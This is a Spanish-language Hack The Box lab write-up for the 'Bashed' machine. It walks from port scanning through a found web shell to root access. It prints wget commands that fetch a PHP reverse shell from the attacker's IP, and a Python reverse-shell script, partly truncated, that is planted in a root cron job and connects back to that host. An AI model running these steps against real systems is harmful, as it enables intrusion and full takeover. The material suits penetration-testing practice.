machine

Enumeración

Escaneo de puertos:

nmap -p- --open --min-rate 5000 -vvv -sS 10.10.10.68
Completed SYN Stealth Scan at 16:29, 18.47s elapsed (65535 total ports)
Nmap scan report for 10.10.10.68
Host is up, received user-set (0.30s latency).
Scanned at 2024-06-05 16:28:57 -03 for 18s
Not shown: 64212 closed tcp ports (reset), 1322 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Detectamos versión y servicio de los puertos abiertos:

nmap -sCV -p80 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

bashed

El sitio web luce así:

bashed

Vamos a utilizar gobuster para encontrar directorios ocultos:

bashed

Navegamos cada uno y dentro de /dev tenemos phpbash.php, que nos ofrece una web bash desde la cual podemos ejecutar comandos:

bashed

Desde aquí ya podemos ver la primer flag:

bashed

De todas formas, para trabajar mas cómodos, vamos a entablar una Reverse Shell. Para eso, vamos a usar el siguiente recurso de PentestMonkey. Lo descargamos a nuestra PC:

wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Y lo editamos para especificar nuestra dirección IP y el puerto en el cual vamos a quedar a la escucha (en nuestro caso, el 443):

bashed

Levantamos un servidor web con python en nuestro equipo y ahora, desde la consola que tenemos en bash, nos dirigimos al directorio tmp (donde tenemos permisos), y lo descargamos:

wget http//10.10.14.19/php-reverse-shell.php

bashed

Nos quedamos a la escucha con netcat, y ejecutamos el archivo con php php-reverse-shell.php. Obtenemos la Reverse Shell:

bashed

Escalación de privilegios

Si ejecutamos sudo -l, vemos que el usuario www-data puede ejecutar cualquier comando como el usuario scriptmanager sin proporcionar contraseña, por lo tanto, hacemos un pivoting ejecutando:

sudo -i scriptmanager bash
/bin/bash -i

bashed

Listamos los directorios del usuario scriptmanager y vemos scripts. Si nos metemos, hay dos archivos (test.txt y test.py):

bashed

El script test.py simplemente abre el fichero test.txt y escribe "testing 123!", por lo tanto, podemos intuir que esta es una tarea cron que se ejecuta a intervalos regulares de tiempo por el usuario root.

Ya que tenemos permisos de edición, vamos a utilizar nuevamente el recurso de Pentest Monkey para entablar una Reverse Shell con python. Tengo problemas para editar directamente desde la shell, por lo que genero un archivo test.py en mi PC atacante con el siguiente contenido:

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket
s.connect(("10.10.14.19",1234));os.du
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

En la PC víctima, modifico el nombre del archivo original por test_BKP.py y me traigo el de mi PC local:

mv test.py test_BKP.py
wget http://10.10.14.19/test.py

Me pongo a la escucha con netcat en el puerto 1234 y después de unos segundos (cuando el cronjob corre), obtengo la sesión como root:

bashed

Desde aquí, obtengo la segunda flag:

bashed


Published

Category

HTB

Tags